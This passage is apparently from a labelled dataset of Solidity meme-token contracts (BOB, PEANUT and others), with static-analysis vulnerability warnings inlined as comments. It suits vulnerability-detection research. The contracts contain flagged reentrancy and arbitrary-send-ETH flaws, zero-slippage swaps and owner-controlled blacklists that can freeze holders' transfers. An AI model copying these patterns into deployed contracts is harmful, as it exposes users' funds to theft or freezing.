{\n\t\t\t\t\t// reentrancy-events | ID: bbe34e9\n\t\t\t\t\t// reentrancy-eth | ID: d3fdf44\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d3fdf44\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: d3fdf44\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d3fdf44\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: bbe34e9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d3fdf44\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d3fdf44\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: bbe34e9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9d6b731\n\t\t// reentrancy-events | ID: bbe34e9\n\t\t// reentrancy-benign | ID: c87c5b4\n\t\t// reentrancy-eth | ID: d3fdf44\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b9667b4): TEE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b9667b4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9d6b731\n\t\t// reentrancy-events | ID: bbe34e9\n\t\t// reentrancy-eth | ID: d3fdf44\n\t\t// arbitrary-send-eth | ID: b9667b4\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 16fcf1d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 16fcf1d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 05c99eb): TEE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 05c99eb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 65cfe24): TEE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 65cfe24: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 52b7cac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 52b7cac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 16fcf1d\n\t\t// reentrancy-eth | ID: 52b7cac\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 16fcf1d\n\t\t// unused-return | ID: 65cfe24\n\t\t// reentrancy-eth | ID: 52b7cac\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 16fcf1d\n\t\t// unused-return | ID: 05c99eb\n\t\t// reentrancy-eth | ID: 52b7cac\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 16fcf1d\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 52b7cac\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 16fcf1d\n transferDelayEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10611.sol",
"size_bytes": 21386,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 67a7189): Contract.bots is never initialized. It is used in Contract._transfer(address,address,uint256) Contract.isBot(address)\n\t// Recommendation for 67a7189: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 46ccd33): Contract._finalSellTax should be constant \n\t// Recommendation for 46ccd33: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"The Fish With A Face\";\n\n string private constant _symbol = unicode\"BOB\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 420690000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 84138000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f82173b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f82173b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a5a822e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a5a822e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f82173b\n\t\t// reentrancy-benign | ID: a5a822e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f82173b\n\t\t// reentrancy-benign | ID: a5a822e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a5a822e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f82173b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f4bd44f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f4bd44f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 67a7189): Contract.bots is never initialized. It is used in Contract._transfer(address,address,uint256) Contract.isBot(address)\n\t// Recommendation for 67a7189: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ceea52): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ceea52: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f4bd44f\n\t\t\t\t// reentrancy-eth | ID: 8ceea52\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f4bd44f\n\t\t\t\t\t// reentrancy-eth | ID: 8ceea52\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 8ceea52\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 8ceea52\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8ceea52\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f4bd44f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8ceea52\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8ceea52\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: f4bd44f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f82173b\n\t\t// reentrancy-events | ID: f4bd44f\n\t\t// reentrancy-benign | ID: a5a822e\n\t\t// reentrancy-eth | ID: 8ceea52\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 318b330): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 318b330: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f82173b\n\t\t// reentrancy-events | ID: f4bd44f\n\t\t// reentrancy-eth | ID: 8ceea52\n\t\t// arbitrary-send-eth | ID: 318b330\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 67a7189): Contract.bots is never initialized. It is used in Contract._transfer(address,address,uint256) Contract.isBot(address)\n\t// Recommendation for 67a7189: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ff25ab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ff25ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f73a3a3): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f73a3a3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a2763b4): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a2763b4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8ec8123): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8ec8123: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3ff25ab\n\t\t// reentrancy-eth | ID: 8ec8123\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3ff25ab\n\t\t// unused-return | ID: a2763b4\n\t\t// reentrancy-eth | ID: 8ec8123\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3ff25ab\n\t\t// unused-return | ID: f73a3a3\n\t\t// reentrancy-eth | ID: 8ec8123\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3ff25ab\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8ec8123\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10612.sol",
"size_bytes": 20484,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PEANUT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: af794b4): PEANUT._bots is never initialized. It is used in PEANUT._transfer(address,address,uint256)\n\t// Recommendation for af794b4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b58bb87): PEANUT._marketingWallet should be immutable \n\t// Recommendation for b58bb87: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _marketingWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8f82be2): PEANUT._initialBuyTax should be constant \n\t// Recommendation for 8f82be2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2154abd): PEANUT._initialSellTax should be constant \n\t// Recommendation for 2154abd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d7112f): PEANUT._finalBuyTax should be constant \n\t// Recommendation for 9d7112f: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0df55c4): PEANUT._finalSellTax should be constant \n\t// Recommendation for 0df55c4: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc5e2f5): PEANUT._reduceBuyAt should be constant \n\t// Recommendation for cc5e2f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c223499): PEANUT._reduceSellAt should be constant \n\t// Recommendation for c223499: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: f140945): PEANUT._preventCount should be constant \n\t// Recommendation for f140945: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Peanut the Squirrel\";\n\n string private constant _symbol = unicode\"PEANUT\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 732c6d8): PEANUT._minTaxSwap should be constant \n\t// Recommendation for 732c6d8: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3fa4bf0): PEANUT._maxTaxSwap should be constant \n\t// Recommendation for 3fa4bf0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _pnutSrcRouter;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _marketingWallet = payable(0xC7dc6B4E9Ae107e5De04E79C208De49fE5aFE228);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_marketingWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public 